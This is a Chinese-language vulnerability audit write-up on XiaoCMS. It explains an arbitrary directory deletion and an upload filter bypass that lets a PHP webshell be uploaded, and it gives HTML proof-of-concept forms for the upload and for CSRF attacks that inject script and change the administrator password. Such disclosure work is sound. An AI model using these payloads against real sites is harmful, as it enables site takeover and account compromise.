XIAO CMS审计

2018-12-25 17:18:07 浏览数 (1)

翻安全客的时候看到xiao cms爆了6个cve审计一下

任意目录删除

跟进一下database.php 看到action是import找到那个函数

可以看到 paths 这个post参数并没有对./进行过滤,可以进行任意文件删除,而且payload的paths参数应该是post=。= 放一个自己的目录测试一下

创建了一个ckj123的目录,试下能不能删除

成功

上传任意文件

很明显的可以看到uploadfile.php文件 找到上传文件的地方

所有的upload需要一个upload函数

看到他加载了一个叫做upload的类 然后获得了文件最后的扩展名,判断了是图片还是别的文件 跟进upload

跟进upload类

里面有个过滤的地方

获得后缀,跟限制的类型进行比较

可以看到这个type是需要自己传进去的

总共两个action 下面那个的type是规定死的 发现上面那个的type是需要自己传进去的这就可以传php文件了

代码语言:javascript复制
<html>
    <body>
    <form action="http://127.0.0.1:8080/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="submit" value="submit" />
    </form>
</body>
</html>

CVE给的payload不对。。

成功了,然后连接一下这个马

CSRF

他没有判断referer是从哪里来的,可以随意csrf,举两个例子 任意添加一个xss面板

代码语言:javascript复制
<html>
  <body>
    <form action="http://127.0.0.1:8080/admin/index.php?c=content&a=add&catid=3" method="POST">
      <input type="hidden" name="data[catid]" value="3" />
      <input type="hidden" name="data[title]" value="test" />
      <input type="hidden" name="data[thumb]" value="" />
      <input type="hidden" name="data[keywords]" value="" />
      <input type="hidden" name="data[description]" value="" />
      <input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
      <input type="hidden" name="data[xiao_auto_description]" value="1" />
      <input type="hidden" name="data[xiao_auto_thumb]" value="1" />
      <input type="hidden" name="data[xiao_download_image]" value="1" />
      <input type="hidden" name="data[time]" value="2018-11-02 15:05:43" />
      <input type="hidden" name="data[hits]" value="" />
      <input type="hidden" name="submit" value="提交" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

改管理员的密码

代码语言:javascript复制
<form action="http://127.0.0.1:8080/admin/index.php?c=index&amp;a=my" method="POST">       
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>

后记

xss的漏洞没看,以后有空补上,xss要跟的地方太多了=。=,太菜

0 人点赞